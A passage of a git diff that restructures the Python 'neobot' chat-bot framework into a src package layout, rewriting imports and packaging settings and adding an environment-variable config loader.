初始化日志系统，必须在其他 neobot 模块导入之前执行 +from neobot.core.utils.logger import logger # 核心模块导入 -from core.ws import WS -from core.managers import plugin_manager, matcher, permission_manager, reverse_ws_manager, thread_manager -from core.managers.redis_manager import redis_manager -from core.managers.browser_manager import browser_manager -from core.utils.executor import run_in_thread_pool, initialize_executor -from core.config_loader import global_config as config -from core.services.local_file_server import start_local_file_server, stop_local_file_server -from adapters.discord_adapter import DiscordAdapter +from neobot.core.ws import WS +from neobot.core.managers import plugin_manager, matcher, permission_manager, reverse_ws_manager, thread_manager +from neobot.core.managers.redis_manager import redis_manager +from neobot.core.managers.browser_manager import browser_manager +from neobot.core.utils.executor import run_in_thread_pool, initialize_executor +from neobot.core.config_loader import global_config as config +from neobot.core.services.local_file_server import start_local_file_server, stop_local_file_server +from neobot.adapters.discord_adapter import DiscordAdapter @@ -31,7 +31,7 @@ sys.path.insert(0, ROOT_DIR) # 获取插件目录的绝对路径 -PLUGIN_DIR = os.path.join(ROOT_DIR, "plugins") +PLUGIN_DIR = os.path.join(ROOT_DIR, "src", "neobot", "plugins") async def reload_plugin_and_sync_help(module_name: str): @@ -87,7 +87,7 @@ class PluginReloadHandler(FileSystemEventHandler): self.last_reload_time = current_time # 从文件路径解析出模块名 - # 例如: C:\path\to\project\plugins\bili_parser.py -> plugins.bili_parser + # 例如: C:\path\to\project\src\neobot\plugins\bili_parser.py -> neobot.plugins.bili_parser relative_path = os.path.relpath(src_path, ROOT_DIR) module_name = os.path.splitext(relative_path.replace(os.sep, '.'))[0] @@ -112,7 +112,7 @@ async def main(): 3. 建立连接并保持运行 """ # 初始化向量数据库 - from core.managers.vectordb_manager import vectordb_manager + from neobot.core.managers.vectordb_manager import vectordb_manager vectordb_manager.initialize() # 首先加载所有插件 @@ -154,7 +154,7 @@ async def main(): # 启动文件监控 # 监控 plugins 目录 - plugin_path = os.path.join(os.path.dirname(__file__), "plugins") + plugin_path = os.path.join(os.path.dirname(__file__), "src", "neobot", "plugins") # 获取当前事件循环并传递给处理器 loop = asyncio.get_running_loop() @@ -220,8 +220,8 @@ if __name__ == "__main__": """ 程序主入口，添加全局异常捕获和友好提示 """ - from core.utils.error_codes import exception_to_error_response - from core.utils.logger import ModuleLogger + from neobot.core.utils.error_codes import exception_to_error_response + from neobot.core.utils.logger import ModuleLogger # 创建主程序日志记录器 main_logger = ModuleLogger("Main") diff --git a/plugins/__init__.py b/plugins/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/plugins/osu!_plugin/__init__.py b/plugins/osu!_plugin/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/pyproject.toml b/pyproject.toml index dd735b5..66aa734 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -7,7 +7,7 @@ name = "neobot" version = "0.1.0" description = "NEO Bot Framework - A high-performance bot framework" readme = "README.md" -requires-python = ">=3.14" +requires-python = "3.14" license = {text = "MIT"} authors = [ {name = "Neo", email = "neo@example.com"} @@ -17,7 +17,6 @@ classifiers = [ "Development Status :: 4 - Beta", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", - "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.14", ] @@ -36,6 +35,7 @@ dependencies = [ "beautifulsoup4>=4.12.0", "requests>=2.31.0", "cython>=3.0.0", + "python-dotenv>=1.0.0", ] [project.optional-dependencies] @@ -56,16 +56,16 @@ Repository = "https://github.com/yourusername/neobot" "Bug Tracker" = "https://github.com/yourusername/neobot/issues" [tool.setuptools] -packages = ["core", "models", "plugins", "adapters"] -package-dir = {"" = "."} +packages = ["neobot", "neobot.core", "neobot.models", "neobot.plugins", "neobot.adapters", "neobot.tests"] +package-dir = {"" = "src"} +include-package-data = true [tool.setuptools.package-data] -"core" = ["py.typed"] -"plugins" = ["**/*.py"] -"models" = ["**/*.py"] +neobot = ["py.typed", "templates/**/*", "docs/**/*", "web_static/**/*", "data/**/*"] +neobot.plugins = ["**/*.py"] [tool.setuptools.exclude-package-data] -"*" = [ +neobot = [ "config.toml", "config.example.toml", "ca/*", @@ -74,7 +74,7 @@ package-dir = {"" = "."} ] [tool.pytest.ini_options] -testpaths = ["tests"] +testpaths = ["src/neobot/tests"] python_files = ["test_*.py"] asyncio_mode = "auto" diff --git a/src/neobot/__init__.py b/src/neobot/__init__.py new file mode 100644 index 0000000..41c9a67 --- /dev/null +++ b/src/neobot/__init__.py @@ -0,0 +1,7 @@ +""" +NEO Bot Package + +NEO Bot Framework - A high-performance bot framework for multiple platforms. +""" + +__version__ = "0.1.0" diff --git a/src/neobot/adapters/__init__.py b/src/neobot/adapters/__init__.py new file mode 100644 index 0000000..4cfe98c --- /dev/null +++ b/src/neobot/adapters/__init__.py @@ -0,0 +1,9 @@ +""" +NEO Bot Adapters Package + +适配器模块，用于连接不同的平台（如 Discord）。 +""" + +from .discord_adapter import DiscordAdapter + +__all__ = ["DiscordAdapter"] diff --git a/adapters/discord_adapter.py b/src/neobot/adapters/discord_adapter.py similarity index 98% rename from adapters/discord_adapter.py rename to src/neobot/adapters/discord_adapter.py index 3809872..181b8a1 100644 --- a/adapters/discord_adapter.py +++ b/src/neobot/adapters/discord_adapter.py @@ -21,10 +21,10 @@ try: except ImportError: DISCORD_AVAILABLE = False -from core.utils.logger import ModuleLogger +from neobot.core.utils.logger import ModuleLogger from .router import DiscordToOneBotConverter -from core.managers.redis_manager import redis_manager -from core.config_loader import global_config +from neobot.core.managers.redis_manager import redis_manager +from neobot.core.config_loader import global_config class DiscordAdapter(discord.Client if DISCORD_AVAILABLE else object): """ @@ -81,7 +81,7 @@ class DiscordAdapter(discord.Client if DISCORD_AVAILABLE else object): # 1. 将 discord.Message 伪装成 OneBot 事件模型 # 2. 触发业务逻辑 # 将伪装后的事件丢给现有的命令管理器 (matcher) - from core.managers.command_manager import matcher + from neobot.core.managers.command_manager import matcher # matcher.handle_event 需要 bot 实例和 event 实例 # 我们在 create_mock_event 中已经注入了一个假的 bot 对象 diff --git a/adapters/router.py b/src/neobot/adapters/router.py similarity index 99% rename from adapters/router.py rename to src/neobot/adapters/router.py index 372540e..725ee0e 100644 --- a/adapters/router.py +++ b/src/neobot/adapters/router.py @@ -20,10 +20,10 @@ try: except ImportError: DISCORD_AVAILABLE = False -from models.events.message import GroupMessageEvent, PrivateMessageEvent -from models.message import MessageSegment as OneBotMessageSegment -from models.sender import Sender -from core.utils.logger import ModuleLogger +from neobot.models.events.message import GroupMessageEvent, PrivateMessageEvent +from neobot.models.message import MessageSegment as OneBotMessageSegment +from neobot.models.sender import Sender +from neobot.core.utils.logger import ModuleLogger logger = ModuleLogger("EventRouter") @@ -230,7 +230,7 @@ class DiscordToOneBotConverter: 伪装后的 OneBot 事件对象 """ # 在静态方法内部创建模块专用日志记录器 - from core.utils.logger import ModuleLogger + from neobot.core.utils.logger import ModuleLogger mod_logger = ModuleLogger("DiscordConverter") # 1. 提取基础信息 diff --git a/src/neobot/core/__init__.py b/src/neobot/core/__init__.py new file mode 100644 index 0000000..432c352 --- /dev/null +++ b/src/neobot/core/__init__.py @@ -0,0 +1,23 @@ +""" +NEO Bot Core Package + +核心框架模块，包含事件处理、API封装、管理器等核心功能。 +""" + +from .api import MessageAPI, GroupAPI, FriendAPI, AccountAPI, MediaAPI +from .bot import Bot +from .config_loader import global_config +from .permission import Permission +from .plugin import Plugin + +__all__ = [ + "MessageAPI", + "GroupAPI", + "FriendAPI", + "AccountAPI", + "MediaAPI", + "Bot", + "global_config", + "Permission", + "Plugin", +] diff --git a/core/api/__init__.py b/src/neobot/core/api/__init__.py similarity index 83% rename from core/api/__init__.py rename to src/neobot/core/api/__init__.py index f4dbd6b..0e859e2 100644 --- a/core/api/__init__.py +++ b/src/neobot/core/api/__init__.py @@ -1,15 +1,21 @@ -from .base import BaseAPI -from .message import MessageAPI -from .group import GroupAPI -from .friend import FriendAPI +""" +NEO Bot API Package + +OneBot API 封装模块。 +""" + from .account import AccountAPI +from .base import BaseAPI +from .friend import FriendAPI +from .group import GroupAPI from .media import MediaAPI +from .message import MessageAPI __all__ = [ - "BaseAPI", - "MessageAPI", - "GroupAPI", - "FriendAPI", "AccountAPI", + "BaseAPI", + "FriendAPI", + "GroupAPI", "MediaAPI", + "MessageAPI", ] diff --git a/core/api/account.py b/src/neobot/core/api/account.py similarity index 99% rename from core/api/account.py rename to src/neobot/core/api/account.py index 14d355f..0cad979 100644 --- a/core/api/account.py +++ b/src/neobot/core/api/account.py @@ -8,7 +8,7 @@ import orjson from typing import Dict, Any, Type, TypeVar from dataclasses import is_dataclass, fields from .base import BaseAPI -from models.objects import LoginInfo, VersionInfo, Status +from neobot.models.objects import LoginInfo, VersionInfo, Status from ..managers.redis_manager import redis_manager T = TypeVar('T') diff --git a/core/api/base.py b/src/neobot/core/api/base.py similarity index 100% rename from core/api/base.py rename to src/neobot/core/api/base.py diff --git a/core/api/friend.py b/src/neobot/core/api/friend.py similarity index 98% rename from core/api/friend.py rename to src/neobot/core/api/friend.py index f58777f..44b9d9f 100644 --- a/core/api/friend.py +++ b/src/neobot/core/api/friend.py @@ -7,7 +7,7 @@ import orjson from typing import List, Dict, Any from .base import BaseAPI -from models.objects import FriendInfo, StrangerInfo +from neobot.models.objects import FriendInfo, StrangerInfo from ..managers.redis_manager import redis_manager diff --git a/core/api/group.py b/src/neobot/core/api/group.py similarity index 99% rename from core/api/group.py rename to src/neobot/core/api/group.py index 4fcb6d0..23d532e 100644 --- a/core/api/group.py +++ b/src/neobot/core/api/group.py @@ -8,7 +8,7 @@ from typing import List, Dict, Any, Optional import orjson from ..managers.redis_manager import redis_manager from .base import BaseAPI -from models.objects import GroupInfo, GroupMemberInfo, GroupHonorInfo +from neobot.models.objects import GroupInfo, GroupMemberInfo, GroupHonorInfo from ..utils.logger import logger diff --git a/core/api/media.py b/src/neobot/core/api/media.py similarity index 100% rename from core/api/media.py rename to src/neobot/core/api/media.py diff --git a/core/api/message.py b/src/neobot/core/api/message.py similarity index 97% rename from core/api/message.py rename to src/neobot/core/api/message.py index 230cfde..03a34a3 100644 --- a/core/api/message.py +++ b/src/neobot/core/api/message.py @@ -8,8 +8,8 @@ from typing import Union, List, Dict, Any, TYPE_CHECKING from .base import BaseAPI if TYPE_CHECKING: - from models.message import MessageSegment - from models.events.base import OneBotEvent + from neobot.models.message import MessageSegment + from neobot.models.events.base import OneBotEvent class MessageAPI(BaseAPI): @@ -175,7 +175,7 @@ class MessageAPI(BaseAPI): return message # 避免循环导入，在运行时导入 - from models.message import MessageSegment + from neobot.models.message import MessageSegment if isinstance(message, MessageSegment): return [self._segment_to_dict(message)] diff --git a/core/bot.py b/src/neobot/core/bot.py similarity index 96% rename from core/bot.py rename to src/neobot/core/bot.py index c727db4..40d34d2 100644 --- a/core/bot.py +++ b/src/neobot/core/bot.py @@ -11,9 +11,9 @@ Bot 核心抽象模块 - 整合所有细分的 API 调用（消息、群组、好友等）。 """ from typing import TYPE_CHECKING, Dict, Any, List, Union, Optional -from models.events.base import OneBotEvent -from models.message import MessageSegment -from models.objects import GroupInfo, StrangerInfo +from neobot.models.events.base import OneBotEvent +from neobot.models.message import MessageSegment +from neobot.models.objects import GroupInfo, StrangerInfo if TYPE_CHECKING: from .ws import WS diff --git a/src/neobot/core/config_loader.py b/src/neobot/core/config_loader.py new file mode 100644 index 0000000..898f9d3 --- /dev/null +++ b/src/neobot/core/config_loader.py @@ -0,0 +1,316 @@ +""" +配置加载模块 + +负责读取和解析 config.toml 配置文件，提供全局配置对象。 +支持从环境变量覆盖敏感配置。 +""" +from pathlib import Path + +import tomllib +from pydantic import ValidationError +from .config_models import ConfigModel, NapCatWSModel, BotModel, RedisModel, DockerModel, ImageManagerModel, MySQLModel, ReverseWSModel, ThreadingModel, BilibiliModel, LocalFileServerModel, DiscordModel, CrossPlatformModel, LoggingModel +from .utils.logger import ModuleLogger +from .utils.exceptions import ConfigError, ConfigNotFoundError, ConfigValidationError +from .utils.env_loader import env_loader + + +class Config: + """ + 配置加载类，负责读取和解析 config.toml 文件 + 支持从环境变量覆盖敏感配置 + """ + + def __init__(self, file_path: str = "config.toml"): + """ + 初始化配置加载器 + + :param file_path: 配置文件路径，默认为 "config.toml" + """ + self.path = Path(file_path) + self._model: ConfigModel + # 创建模块专用日志记录器 + self.logger = ModuleLogger("ConfigLoader") + # 加载环境变量 + env_loader.load() + self.load() + + def load(self): + """ + 加载并验证配置文件 + + :raises ConfigNotFoundError: 如果配置文件不存在 + :raises ConfigValidationError: 如果配置格式不正确 + :raises ConfigError: 如果加载配置时发生其他错误 + """ + # 检查配置文件权限 + self._check_file_permissions() + + if not self.path.exists(): + self.logger.warning(f"配置文件 {self.path} 未找到，正在生成示例配置...") + self._generate_example_config() + self.logger.success(f"示例配置已生成: {self.path}") + self.logger.info("请编辑配置文件后重新启动程序") + + try: + self.logger.info(f"正在从 {self.path} 加载配置...") + with open(self.path, "rb") as f: + raw_config = tomllib.load(f) + + # 从环境变量覆盖敏感配置 + raw_config = self._override_with_env_vars(raw_config) + + self._model = ConfigModel(**raw_config) + self.logger.success("配置加载并验证成功！") + + except ValidationError as e: + error_details = [] + for error in e.errors(): + field = " -> ".join(map(str, error["loc"])) + error_msg = f"字段 '{field}': {error['msg']}" + error_details.append(error_msg) + + validation_error = ConfigValidationError( + message="配置验证失败" + ) + validation_error.original_error = e + + self.logger.error("配置验证失败，请检查 `config.toml` 文件中的以下错误：") + for detail in error_details: + self.logger.error(f" - {detail}") + + self.logger.log_custom_exception(validation_error) + raise validation_error + except tomllib.TOMLDecodeError as e: + error = ConfigError( + message=f"TOML解析错误: {str(e)}" + ) + error.original_error = e + self.logger.error(f"加载配置文件时发生TOML解析错误: {error.message}") + self.logger.log_custom_exception(error) + raise error + except Exception as e: + error = ConfigError( + message=f"加载配置文件时发生未知错误: {str(e)}" + ) + error.original_error = e + self.logger.exception(f"加载配置文件时发生未知错误: {error.message}") + self.logger.log_custom_exception(error) + raise error + + def _check_file_permissions(self): + """ + 检查配置文件权限 + + 确保配置文件不会被其他用户读取，保护敏感信息。 + """ + if not self.path.exists(): + return + + try: + import os + import stat + + # 获取文件状态 + file_stat = self.path.stat() + + # 检查文件权限 + mode = file_stat.st_mode + + # 检查是否其他用户可读 + if mode & stat.S_IROTH: + self.logger.warning(f"配置文件 {self.path} 其他用户可读，存在安全风险") + self.logger.info("建议使用命令: chmod 600 config.toml") + + # 检查是否其他用户可写 + if mode & stat.S_IWOTH: + self.logger.error(f"配置文件 {self.path} 其他用户可写，存在严重安全风险！") + self.logger.error("请立即修复权限: chmod 600 config.toml") + + except Exception as e: + self.logger.warning(f"检查文件权限失败: {e}") + + def _override_with_env_vars(self, raw_config: dict) -> dict: + """ + 使用环境变量覆盖敏感配置 + + Args: + raw_config: 原始配置字典 + + Returns: + 更新后的配置字典 + """ + # MySQL 配置 + if 'mysql' in raw_config: + mysql_config = raw_config['mysql'] + mysql_config['host'] = env_loader.get('MYSQL_HOST', mysql_config.get('host', 'localhost')) + mysql_config['port'] = env_loader.get_int('MYSQL_PORT', mysql_config.get('port', 3306)) + mysql_config['user'] = env_loader.get('MYSQL_USER', mysql_config.get('user', 'root')) + mysql_config['password'] = env_loader.get('MYSQL_PASSWORD', mysql_config.get('password', '')) + mysql_config['db'] = env_loader.get('MYSQL_DB', mysql_config.get('db', 'neobot')) + + # Redis 配置 + if 'redis' in raw_config: + redis_config = raw_config['redis'] + redis_config['host'] = env_loader.get('REDIS_HOST', redis_config.get('host', 'localhost')) + redis_config['port'] = env_loader.get_int('REDIS_PORT', redis_config.get('port', 6379)) + redis_config['db'] = env_loader.get_int('REDIS_DB', redis_config.get('db', 0)) + redis_config['password'] = env_loader.get('REDIS_PASSWORD', redis_config.get('password', '')) + + # NapCat WebSocket 配置 + if 'napcat_ws' in raw_config: + ws_config = raw_config['napcat_ws'] + ws_config['uri'] = env_loader.get('NAPCAT_WS_URI', ws_config.get('uri', 'ws://localhost:8080')) + ws_config['token'] = env_loader.get('NAPCAT_WS_TOKEN', ws_config.get('token', '')) + + # Discord 配置 + if 'discord' in raw_config: + discord_config = raw_config['discord'] + discord_config['token'] = env_loader.get('DISCORD_TOKEN', discord_config.get('token', '')) + discord_config['proxy'] = env_loader.get('DISCORD_PROXY', discord_config.get('proxy')) + + # Bilibili 配置 + if 'bilibili' in raw_config: + bili_config = raw_config['bilibili'] + bili_config['sessdata'] = env_loader.get('BILIBILI_SESSDATA', bili_config.get('sessdata')) + bili_config['bili_jct'] = env_loader.get('BILIBILI_BILI_JCT', bili_config.get('bili_jct')) + bili_config['buvid3'] = env_loader.get('BILIBILI_BUVID3', bili_config.get('buvid3')) + bili_config['dedeuserid'] = env_loader.get('BILIBILI_DEDEUSERID', bili_config.get('dedeuserid')) + + # Docker 配置 + if 'docker' in raw_config: + docker_config = raw_config['docker'] + docker_config['base_url'] = env_loader.get('DOCKER_BASE_URL', docker_config.get('base_url')) + docker_config['tls_verify'] = env_loader.get_bool('DOCKER_TLS_VERIFY', docker_config.get('tls_verify', False)) + + # 反向 WebSocket 配置 + if 'reverse_ws' in raw_config: + reverse_config = raw_config['reverse_ws'] + reverse_config['enabled'] = env_loader.get_bool('REVERSE_WS_ENABLED', reverse_config.get('enabled', False)) + reverse_config['host'] = env_loader.get('REVERSE_WS_HOST', reverse_config.get('host', '0.0.0.0')) + reverse_config['port'] = env_loader.get_int('REVERSE_WS_PORT', reverse_config.get('port', 3002)) + reverse_config['token'] = env_loader.get('REVERSE_WS_TOKEN', reverse_config.get('token')) + + # 本地文件服务器配置 + if 'local_file_server' in raw_config: + server_config = raw_config['local_file_server'] + server_config['enabled'] = env_loader.get_bool('LOCAL_FILE_SERVER_ENABLED', server_config.get('enabled', True)) + server_config['host'] = env_loader.get('LOCAL_FILE_SERVER_HOST', server_config.get('host', '0.0.0.0')) + server_config['port'] = env_loader.get_int('LOCAL_FILE_SERVER_PORT', server_config.get('port', 3003)) + + # 日志配置 + if 'logging' in raw_config: + log_config = raw_config['logging'] + log_config['level'] = env_loader.get('LOG_LEVEL', log_config.get('level', 'DEBUG')) + log_config['file_level'] = env_loader.get('LOG_FILE_LEVEL', log_config.get('file_level', 'DEBUG')) + log_config['console_level'] = env_loader.get('LOG_CONSOLE_LEVEL', log_config.get('console_level', 'INFO')) + + return raw_config + + def _generate_example_config(self): + """ + 生成示例配置文件 + """ + example_path = Path("config.example.toml") + + if not example_path.exists(): + self.logger.error(f"示例配置文件 {example_path} 不存在，无法生成配置") + raise ConfigNotFoundError(message=f"示例配置文件 {example_path} 不存在") + + content = example_path.read_text() + self.path.write_text(content) + + # 通过属性访问配置 + @property + def napcat_ws(self) -> NapCatWSModel: + """ + 获取 NapCat WebSocket 配置 + """ + return self._model.napcat_ws + + @property + def bot(self) -> BotModel: + """ + 获取 Bot 基础配置 + """ + return self._model.bot + + @property + def redis(self) -> RedisModel: + """ + 获取 Redis 配置 + """ + return self._model.redis + + @property + def mysql(self) -> MySQLModel: + """ + 获取 MySQL 配置 + """ + return self._model.mysql + + @property + def docker(self) -> DockerModel: + """ + 获取 Docker 配置 + """ + return self._model.docker + + @property + def image_manager(self) -> ImageManagerModel: + """ + 获取图片生成管理器配置 + """ + return self._model.image_manager + + @property + def reverse_ws(self) -> ReverseWSModel: + """ + 获取反向 WebSocket 配置 + """ + return self._model.reverse_ws + + @property + def threading(self) -> ThreadingModel: + """ + 获取线程管理配置 + """ + return self._model.threading + + @property + def bilibili(self) -> BilibiliModel: + """ + 获取 Bilibili 配置 + """ + return self._model.bilibili + + @property + def local_file_server(self) -> LocalFileServerModel: + """ + 获取本地文件服务器配置 + """ + return self._model.local_file_server + + @property + def discord(self) -> DiscordModel: + """ + 获取 Discord 配置 + """ + return self._model.discord + + @property + def cross_platform(self) -> CrossPlatformModel: + """ + 获取跨平台配置 + """ + return self._model.cross_platform + + @property + def logging(self) -> LoggingModel: + """ + 获取日志配置 + """ + return self._model.logging + + +# 实例化全局配置对象 +global_config = Config() diff --git a/core/config_models.py b/src/neobot/core/config_models.py similarity index 100% rename from core/config_models.py rename to src/neobot/core/config_models.py diff --git a/core/data/admin.json b/src/neobot/core/data/admin.json similarity index 100% rename from core/data/admin.json rename to src/neobot/core/data/admin.json diff --git a/core/data/permissions.json b/src/neobot/core/data/permissions.json similarity index 100% rename from core/data/permissions.json rename to src/neobot/core/data/permissions.json diff --git a/src/neobot/core/handlers/__init__.py b/src/neobot/core/handlers/__init__.py new file mode 100644 index 0000000..0d6ef0d --- /dev/null +++ b/src/neobot/core/handlers/__init__.py @@ -0,0 +1,9 @@ +""" +NEO Bot Handlers Package + +事件处理器模块。 +""" + +from .event_handler import matcher + +__all__ = ["matcher"] diff --git a/core/handlers/event_handler.py b/src/neobot/core/handlers/event_handler.py similarity index 100% rename from core/handlers/event_handler.py rename to src/neobot/core/handlers/event_handler.py diff --git a/src/neobot/core/managers/__init__.py b/src/neobot/core/managers/__init__.py new file mode 100644 index 0000000..997d295 --- /dev/null +++ b/src/neobot/core/managers/__init__.py @@ -0,0 +1,31 @@ +""" +NEO Bot Managers Package + +管理器模块，包含各种功能管理器。 +""" + +from .bot_manager import bot_manager +from .browser_manager import browser_manager +from .command_manager import command_manager +from .image_manager import image_manager +from .mysql_manager import mysql_manager +from .permission_manager import permission_manager +from .plugin_manager import plugin_manager +from .redis_manager import redis_manager +from .reverse_ws_manager import reverse_ws_manager +from .thread_manager import thread_manager +from .vectordb_manager import vectordb_manager + +__all__ = [ + "bot_manager", + "browser_manager", + "command_manager", + "image_manager", + "mysql_manager", + "permission_manager", + "plugin_manager", + "redis_manager", + "reverse_ws_manager", + "thread_manager", + "vectordb_manager", +] diff --git a/core/managers/bot_manager.py b/src/neobot/core/managers/bot_manager.py similarity index 100% rename from core/managers/bot_manager.py rename to src/neobot/core/managers/bot_manager.py diff --git a/core/managers/browser_manager.py b/src/neobot/core/managers/browser_manager.py similarity index 98% rename from core/managers/browser_manager.py rename to src/neobot/core/managers/browser_manager.py index 4753d89..5211f83 100644 --- a/core/managers/browser_manager.py +++ b/src/neobot/core/managers/browser_manager.py @@ -135,7 +135,7 @@ class BrowserManager(Singleton): try: page = self._page_pool.get_nowait() await page.close() - except Exception: + except (asyncio.QueueEmpty, AttributeError): pass self._page_pool = None diff --git a/core/managers/command_manager.py b/src/neobot/core/managers/command_manager.py similarity index 99% rename from core/managers/command_manager.py rename to src/neobot/core/managers/command_manager.py index 95777ac..ff0e95c 100644 --- a/core/managers/command_manager.py +++ b/src/neobot/core/managers/command_manager.py @@ -8,7 +8,7 @@ from typing import Any, Callable, Dict, Optional, Tuple -from models.events.message import MessageSegment +from neobot.models.events.message import MessageSegment diff --git a/core/managers/image_manager.py b/src/neobot/core/managers/image_manager.py similarity index 100% rename from core/managers/image_manager.py rename to src/neobot/core/managers/image_manager.py diff --git a/core/managers/mysql_manager.py b/src/neobot/core/managers/mysql_manager.py similarity index 100% rename from core/managers/mysql_manager.py rename to src/neobot/core/managers/mysql_manager.py diff --git a/core/managers/permission_manager.py b/src/neobot/core/managers/permission_manager.py similarity index 99% rename from core/managers/permission_manager.py rename to src/neobot/core/managers/permission_manager.py index 90bcdb3..7b5da83 100644 --- a/core/managers/permission_manager.py +++ b/src/neobot/core/managers/permission_manager.py @@ -432,4 +432,4 @@ def require_admin(func): 一个装饰器，用于限制命令只能由管理员执行。 """ from functools import wraps - from models.events.message import MessageEvent + from neobot.models.events.message import MessageEvent diff --git a/core/managers/plugin_manager.py b/src/neobot/core/managers/plugin_manager.py similarity index 100% rename from core/managers/plugin_manager.py rename to src/neobot/core/managers/plugin_manager.py diff --git a/core/managers/redis_manager.py b/src/neobot/core/managers/redis_manager.py similarity index 100% rename from core/managers/redis_manager.py rename to src/neobot/core/managers/redis_manager.py diff --git a/core/managers/reverse_ws_manager.py b/src/neobot/core/managers/reverse_ws_manager.py similarity index 99% rename from core/managers/reverse_ws_manager.py rename to src/neobot/core/managers/reverse_ws_manager.py index 2526b55..e03d731 100644 --- a/core/managers/reverse_ws_manager.py +++ b/src/neobot/core/managers/reverse_ws_manager.py @@ -16,7 +16,7 @@ import threading from ..utils.logger import ModuleLogger from ..utils.error_codes import ErrorCode, create_error_response from .command_manager import matcher -from models.events.factory import EventFactory +from neobot.models.events.factory import EventFactory from ..bot import Bot from ..ws import ReverseWSClient as _ReverseWSClient diff --git a/core/managers/thread_manager.py b/src/neobot/core/managers/thread_manager.py similarity index 100% rename from core/managers/thread_manager.py rename to src/neobot/core/managers/thread_manager.py diff --git a/core/managers/vectordb_manager.py b/src/neobot/core/managers/vectordb_manager.py similarity index 98% rename from core/managers/vectordb_manager.py rename to src/neobot/core/managers/vectordb_manager.py index 9d19a15..057a9b4 100644 --- a/core/managers/vectordb_manager.py +++ b/src/neobot/core/managers/vectordb_manager.py @@ -10,8 +10,8 @@ import json from typing import List, Dict, Any, Optional import chromadb from chromadb.config import Settings -from core.utils.logger import ModuleLogger -from core.utils.singleton import Singleton +from neobot.core.utils.logger import ModuleLogger +from neobot.core.utils.singleton import Singleton logger = ModuleLogger("VectorDBManager") diff --git a/core/permission.py b/src/neobot/core/permission.py similarity index 100% rename from core/permission.py rename to src/neobot/core/permission.py diff --git a/core/plugin.py b/src/neobot/core/plugin.py similarity index 97% rename from core/plugin.py rename to src/neobot/core/plugin.py index c430c2b..24909a6 100644 --- a/core/plugin.py +++ b/src/neobot/core/plugin.py @@ -1,9 +1,9 @@ import inspect import functools from typing import Optional, Union, Any, Callable -from core.managers.command_manager import matcher as command_manager -from core.permission import Permission -from models.events.message import MessageEvent +from neobot.core.managers.command_manager import matcher as command_manager +from neobot.core.permission import Permission +from neobot.models.events.message import MessageEvent class Plugin: """ diff --git a/src/neobot/core/services/__init__.py b/src/neobot/core/services/__init__.py new file mode 100644 index 0000000..117cb3d --- /dev/null +++ b/src/neobot/core/services/__init__.py @@ -0,0 +1,9 @@ +""" +NEO Bot Services Package + +服务层模块。 +""" + +from .local_file_server import start_local_file_server, stop_local_file_server + +__all__ = ["start_local_file_server", "stop_local_file_server"] diff --git a/core/services/local_file_server.py b/src/neobot/core/services/local_file_server.py similarity index 98% rename from core/services/local_file_server.py rename to src/neobot/core/services/local_file_server.py index 3df4f36..67a441d 100644 --- a/core/services/local_file_server.py +++ b/src/neobot/core/services/local_file_server.py @@ -17,8 +17,8 @@ import aiohttp from aiohttp import web import urllib.request -from core.utils.logger import logger -from core.config_loader import global_config +from neobot.core.utils.logger import logger +from neobot.core.config_loader import global_config class LocalFileServer: diff --git a/src/neobot/core/utils/__init__.py b/src/neobot/core/utils/__init__.py new file mode 100644 index 0000000..412e97a --- /dev/null +++ b/src/neobot/core/utils/__init__.py @@ -0,0 +1,19 @@ +""" +NEO Bot Utils Package + +工具函数模块。 +""" + +from .error_codes import exception_to_error_response, ErrorCodes +from .exceptions import BotException +from .logger import logger, ModuleLogger +from .singleton import Singleton + +__all__ = [ + "exception_to_error_response", + "ErrorCodes", + "BotException", + "logger", + "ModuleLogger", + "Singleton", +] diff --git a/src/neobot/core/utils/env_loader.py b/src/neobot/core/utils/env_loader.py new file mode 100644 index 0000000..904bc64 --- /dev/null +++ b/src/neobot/core/utils/env_loader.py @@ -0,0 +1,202 @@ +""" +环境变量加载器 + +负责从环境变量加载敏感配置，支持 .env 文件和环境变量。 +""" +import os +from pathlib import Path +from typing import Optional, Dict, Any +from dotenv import load_dotenv + +from .logger import ModuleLogger + + +class EnvLoader: + """ + 环境变量加载器类 + """ + + def __init__(self, env_file: str = ".env"): + """ + 初始化环境变量加载器 + + Args: + env_file: .env 文件路径 + """ + self.env_file = Path(env_file) + self.logger = ModuleLogger("EnvLoader") + self._loaded = False + + def load(self) -> bool: + """ + 加载环境变量 + + Returns: + bool: 是否成功加载 + """ + if self._loaded: + return True + + try: + # 尝试从 .env 文件加载 + if self.env_file.exists(): + load_dotenv(self.env_file) + self.logger.info(f"已从 {self.env_file} 加载环境变量") + else: + self.logger.warning(f".env 文件不存在: {self.env_file}") + + self._loaded = True + return True + + except Exception as e: + self.logger.error(f"加载环境变量失败: {e}") + return False + + def get(self, key: str, default: Optional[str] = None) -> Optional[str]: + """ + 获取环境变量值 + + Args: + key: 环境变量键名 + default: 默认值 + + Returns: + 环境变量值，如果不存在则返回默认值 + """ + if not self._loaded: + self.load() + + return os.getenv(key, default) + + def get_int(self, key: str, default: int = 0) -> int: + """ + 获取整数类型的环境变量值 + + Args: + key: 环境变量键名 + default: 默认值 + + Returns: + 整数类型的环境变量值 + """ + value = self.get(key) + if value is None: + return default + + try: + return int(value) + except (ValueError, TypeError): + self.logger.warning(f"环境变量 {key} 的值 '{value}' 不是有效的整数，使用默认值 {default}") + return default + + def get_bool(self, key: str, default: bool = False) -> bool: + """ + 获取布尔类型的环境变量值 + + Args: + key: 环境变量键名 + default: 默认值 + + Returns: + 布尔类型的环境变量值 + """ + value = self.get(key) + if value is None: + return default + + value_lower = value.lower() + if value_lower in ('true', 'yes', '1', 'on'): + return True + elif value_lower in ('false', 'no', '0', 'off'): + return False + else: + self.logger.warning(f"环境变量 {key} 的值 '{value}' 不是有效的布尔值，使用默认值 {default}") + return default + + def get_list(self, key: str, default: Optional[list] = None, separator: str = ',') -> list: + """ + 获取列表类型的环境变量值 + + Args: + key: 环境变量键名 + default: 默认值 + separator: 分隔符 + + Returns: + 列表类型的环境变量值 + """ + value = self.get(key) + if value is None: + return default or [] + + return [item.strip() for item in value.split(separator) if item.strip()] + + def validate_required(self, keys: list[str]) -> bool: + """ + 验证必需的环境变量是否存在 + + Args: + keys: 必需的环境变量键名列表 + + Returns: + bool: 所有必需的环境变量是否存在 + """ + missing_keys = [] + + for key in keys: + if self.get(key) is None: + missing_keys.append(key) + + if 